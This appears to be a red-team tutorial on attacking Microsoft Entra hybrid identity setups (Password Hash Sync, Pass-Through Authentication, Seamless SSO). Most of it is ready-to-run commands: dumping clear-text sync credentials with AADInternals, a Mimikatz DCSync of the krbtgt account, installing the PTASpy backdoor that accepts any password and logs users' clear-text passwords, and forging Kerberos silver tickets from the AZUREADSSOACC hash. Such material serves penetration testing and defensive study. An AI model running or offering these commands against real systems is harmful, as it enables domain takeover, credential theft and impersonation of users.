Hybrid Identity

Organizations have resources, devices and applications both on-premises and in the cloud. Many enterprises se their on-prem AD identities to access Azure applications to avoid managing separate identities on both.

A single user identity for authentication and authorization to all resources, regardless of location is a hybrid identity

Entra Connect

An on-premises AD can be integrated with Entra ID using Entra Connect with the following methods. Every method supports Single Sign-on (SSO):

• Password Hash Sync (PHS)

• Pass-Through Authentication (PTA)

• Federation

PHS (Password Hash Sync)

It syncs users and a hash of their password hashes (not clear-text or original hashes) for on-prem AD to Entra ID. This is the simplest and most popular method for getting a hybrid identity.

PHS is required for features like identity protection and AAD domain services

By default, password expiry and account expiry are not reflected in Entra ID. That means a user whose on-prem password is expired, can continue to access Azure resources using the old password.

For on-prem an account with the name MSOL_<installationID>is automatically created. This account has replication (DCSync) permissions in the on-prem AD.

Enumerate MSOL users:

Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl

Once the Entra connect server is compromised. Use the below commands from the AADInternals module. Extract credentials of the MSOL_* and Sync_* accounts in clear text:

Import-Module AADInternals\AADInternals.psd1

Get-AADIntSyncCredentials

Using the creds of MSOL_* account, we can run DCSync against the on- prem AD:

runas /netonly /user:defeng.corp\MSOL_782bef6aa0a9 cmd Invoke-Mimikatz -Command '"lsadump::dcsync/user:defeng\krbtgt /domain:defeng.corp /dc:defeng-dc.defeng.corp"'

PTA (Pass-through Authentication)

Microsoft Entra pass-through authentication allows your users to sign in to both on-premises and cloud-based applications using the same passwords. When users sign in using Microsoft Entra ID, this feature validates users' passwords directly against your on-premises Active Directory.

If we compromise a server with the authentication agent running, we can get the credentials for users in plain-text. We will first need to upload AADInternals.zip https://github.com/Gerenios/AADInternals. Next, unzip it and run :

Import-Module AADInternals\AADInternals.psd1

Install the PTA agent and collect credentials.

Install-AADIntPTASpy

All passwords are now accepted and credentials collected to
C:\PTASpy\PTASpy.csv

# Get clear-text passwords from users authenticating
Get-AADIntPTASpyLog

Seamless SSO

Entra Seamless SSO automatically signs users in when they are on-prem domain-joined machine. There is no need to use passwords to log in to Entra ID and on-prem application. On on-prem AD a user AZUREADSSOACCIs created. This account's Kebreros decryption key is shared with entra ID.

Password/key of the AZUREADSSOACC never changes

This means that if we can compromise the NTLM hash of the machine account, we can create silver tickets for any synced on-prem user.

First get NTLM hash

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:defeng.corp /dc:defeng-dc.defeng.corp"'

We just need the userPrincipalName and SID of the user to create the Silver ticket that can be used from any machine connected to the internet.

Create silver ticket:

Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin1 /sid:S-1-5-21-938785110-3291390659-577725712 /id:1108 /domain:defeng.corp /rc4:<> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'